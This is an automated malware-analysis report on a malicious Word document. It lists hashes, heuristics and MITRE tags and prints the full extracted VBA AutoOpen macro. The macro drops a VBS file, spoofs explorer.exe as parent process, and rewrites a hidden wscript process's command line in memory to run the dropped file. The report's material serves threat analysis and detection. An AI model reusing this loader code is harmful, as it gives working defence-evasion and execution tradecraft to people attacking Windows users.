Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 48b46446b94acdd6…

MALICIOUS

Office (OOXML)

31.1 KB Created: 2021-05-29 13:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: a9f12ec15266ce2d42b0cb47e3d1441f SHA-1: 1bfb11d279496e34bef63696a0afb9fac8981739 SHA-256: 48b46446b94acdd61a3da0bdda127814c3e706a78b21a08d893f76e4898dd0fd
70 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an OOXML document containing VBA macros, specifically an AutoOpen macro that executes code. The VBA code appears to be designed to download and execute a second-stage payload, indicated by the presence of API calls related to process creation and memory manipulation. The AutoOpen macro and the presence of VBA code strongly suggest a malicious document intended for initial compromise via spearphishing.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
        Dim FileNumber As Integer
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarksIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10814 bytes
SHA-256: 5003327e83c437a8892a59fd6ebc77563756ad23f68d2df55f8aabaec9fc9b59
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
Const TH32CS_SNAPPROCESS = &H2&
Const MAX_PATH = 260


'''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''' Data types ''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''
 

Private Type LARGE_INTEGER
    lowpart                         As Long
    highpart                        As Long
End Type

Private Type UNICODE_STRING64
    Length                          As Integer
    MaxLength                       As Integer
    lPad                            As Long
    lpBuffer                        As LongPtr
End Type

Private Type RTL_USER_PROCESS_PARAMETERS
    Reserved1(15) As Byte
    Reserved2(9) As Long
    CurrentDirectoryPath As UNICODE_STRING64
    CurrentDirectoryHandle As LongPtr
    DllPath As UNICODE_STRING64
    ImagePathName As UNICODE_STRING64
    CommandLine As UNICODE_STRING64
    Environment As LongPtr
End Type

Private Type PROCESS_BASIC_INFORMATION
    ExitStatus                      As Long
    Reserved0                       As Long
    PebBaseAddress                  As LongPtr
    AffinityMask                    As LARGE_INTEGER
    BasePriority                    As Long
    Reserved1                       As Long
    uUniqueProcessId                As LARGE_INTEGER
    uInheritedFromUniqueProcessId   As LARGE_INTEGER
End Type

Private Type PEB
    Reserved1(1) As Byte
    BeingDebugged As Byte
    Reserved2(20) As Byte
    Ldr As Long
    ProcessParameters As LongPtr
    Reserved3(519) As Byte
    PostProcessInitRoutine As Long
    Reserved4(135) As Byte
    SessionId As Long
End Type

Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" ( _
                         ByVal hProcess As LongPtr, _
                         ByVal ProcessInformationClass As Long, _
                         ByRef pProcessInformation As Any, _
                         ByVal uProcessInformationLength As Long, _
                         ByRef puReturnLength As LongPtr) As Long
                         
Private Declare PtrSafe Function NtReadVirtualMemory Lib "ntdll" ( _
                         ByVal hProcess As LongPtr, _
                         ByVal BaseAddress As LongPtr, _
                         ByRef Buffer As Any, _
                         ByVal BufferBytesToRead As Long, _
                         ByRef ReturnLength As LARGE_INTEGER) As Long

Private Declare PtrSafe Function NtWriteVirtualMemory Lib "ntdll" ( _
                         ByVal hProcess As LongPtr, _
                         ByVal VABA As Any, _
                         ByVal lpBuffer As Any, _
                         ByVal nSS As Long, _
                         ByRef NOBW As LARGE_INTEGER) As Boolean

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUP_INFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As LongPtr
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type
 
Private Type STARTUPINFOEX
    STARTUPINFO As STARTUP_INFO
    lpAttributelist As LongPtr
End Type

' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/

Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szexeFile As String * MAX_PATH
End Type

'''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''' kernel32 & ntdll bindings '''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
    ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    lpProcessAttributes As Long, _
    lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    lpEnvironment As Any, _
    ByVal lpCurrentDriectory As String, _
    ByVal lpStartupInfo As LongPtr, _
    lpProcessInformation As PROCESS_INFORMATION _
) As Long

Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
    ByVal dwAccess As Long, _
    ByVal fInherit As Long, _
    ByVal hObject As Long _
) As LongPtr
 
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
    ByVal hHeap As LongPtr, _
    ByVal dwFlags As Long, _
    ByVal dwBytes As LongPtr _
) As LongPtr

Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr

Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwAttributeCount As Integer, _
    ByVal dwFlags As Integer, _
    ByRef lpSize As Long _
) As Boolean

Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwFlags As Integer, _
    ByVal lpAttribute As Long, _
    ByRef lpValue As LongPtr, _
    ByVal cbSize As Integer, _
    ByRef lpPreviousValue As Integer, _
    ByRef lpReturnSize As Integer _
) As Boolean

Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
    ByVal dwFlags As Integer, _
    ByVal th32ProcessID As Integer _
) As Long
 
Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
    ByVal hSnapshot As LongPtr, _
    ByRef lppe As PROCESSENTRY32 _
) As Boolean
 
Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
    ByVal hSnapshot As LongPtr, _
    ByRef lppe As PROCESSENTRY32 _
) As Boolean


Private Declare PtrSafe Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long


'''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''' Utility functions ''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''

' Finds the PID of a process given its name
Public Function getPidByName(ByVal name As String) As Integer
    Dim pEntry As PROCESSENTRY32
    Dim continueSearching As Boolean
    pEntry.dwSize = LenB(pEntry)
    Dim snapshot As LongPtr

    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
 
    continueSearching = Process32First(snapshot, pEntry)
 
    Do
        If InStr(1, pEntry.szexeFile, name) Then
            getPidByName = pEntry.th32ProcessID
            continueSearching = False
        Else
            continueSearching = Process32Next(snapshot, pEntry)
        End If
    Loop While continueSearching

End Function

Public Function convertStr(ByVal str As String) As Byte()
    Dim i, j As Integer
    Dim result(400) As Byte
    j = 0
    For i = 1 To Len(str):
        result(j) = Asc(Mid(str, i, 1))
        result(j + 1) = &H0
        j = j + 2
    Next
    
    convertStr = result
    
End Function



Sub AutoOpen()
    Dim FileNumber As Integer
    Dim FilePath As String
    FilePath = "C:\Users\Public\payload.vbs"
    FileNumber = FreeFile
    Open FilePath For Output As FileNumber
    Print #FileNumber, "VBS Script Line 1"
    Print #FileNumber, " VBS Script Line 2"
    Print #FileNumber, " VBS Script Line 3"
    Print #FileNumber, " VBS Script Line 4"
    Close FileNumber
    
    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim nullStr As String
    Dim pid, result As Integer
    Dim threadAttribSize As Long
    Dim parentHandle As LongPtr
    Dim originalCli As String
    
    originalCli = "wscript"
    
    
    ' Get a handle on the process to be used as a parent
    pid = getPidByName("explorer.exe")
    
    parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

    ' Initialize process attribute list
    result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    blah = Err.LastDllError
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    blah = Err.LastDllError
    result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)

    ' Set the parent to be our previous handle
    result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&)

    ' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks)
    si.STARTUPINFO.cb = LenB(si)
    
    ' Hide new process window
    si.STARTUPINFO.dwFlags = 1
    si.STARTUPINFO.wShowWindow = SW_HIDE

    result = CreateProcess( _
        nullStr, _
        originalCli, _
        ByVal 0&, _
        ByVal 0&, _
        1&, _
        &H80014, _
        ByVal 0&, _
        nullStr, _
        VarPtr(si), _
        pi _
    )

    ' Spoofing of cli arguments
    Dim size As LongPtr
    Dim PEB As PEB
    Dim pbi As PROCESS_BASIC_INFORMATION
    Dim newProcessHandle As LongPtr
    Dim success As Boolean
    Dim parameters As RTL_USER_PROCESS_PARAMETERS
    Dim cmdStr As String
    Dim cmd() As Byte
    Dim liRet As LARGE_INTEGER
    
    newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId)

    result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size)
 
    success = NtReadVirtualMemory(newProcessHandle, pbi.PebBaseAddress, PEB, Len(PEB), liRet)

    ' peb.ProcessParameters now contains the address to the parameters - read them
    success = NtReadVirtualMemory(newProcessHandle, PEB.ProcessParameters, parameters, Len(parameters), liRet)
    blah = Err.LastDllError
    
    cmdStr = "wscript C:\Users\Public\payload.vbs &&"
    
    
    cmd = convertStr(cmdStr)
    success = NtWriteVirtualMemory(newProcessHandle, parameters.CommandLine.lpBuffer, StrPtr(cmd), 2 * Len(cmdStr), liRet)
    ResumeThread (pi.hThread)
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49152 bytes
SHA-256: 00b10e9041ffc45413451e660f2161f3360f6f9fd24503a68b5ba875a4edeebd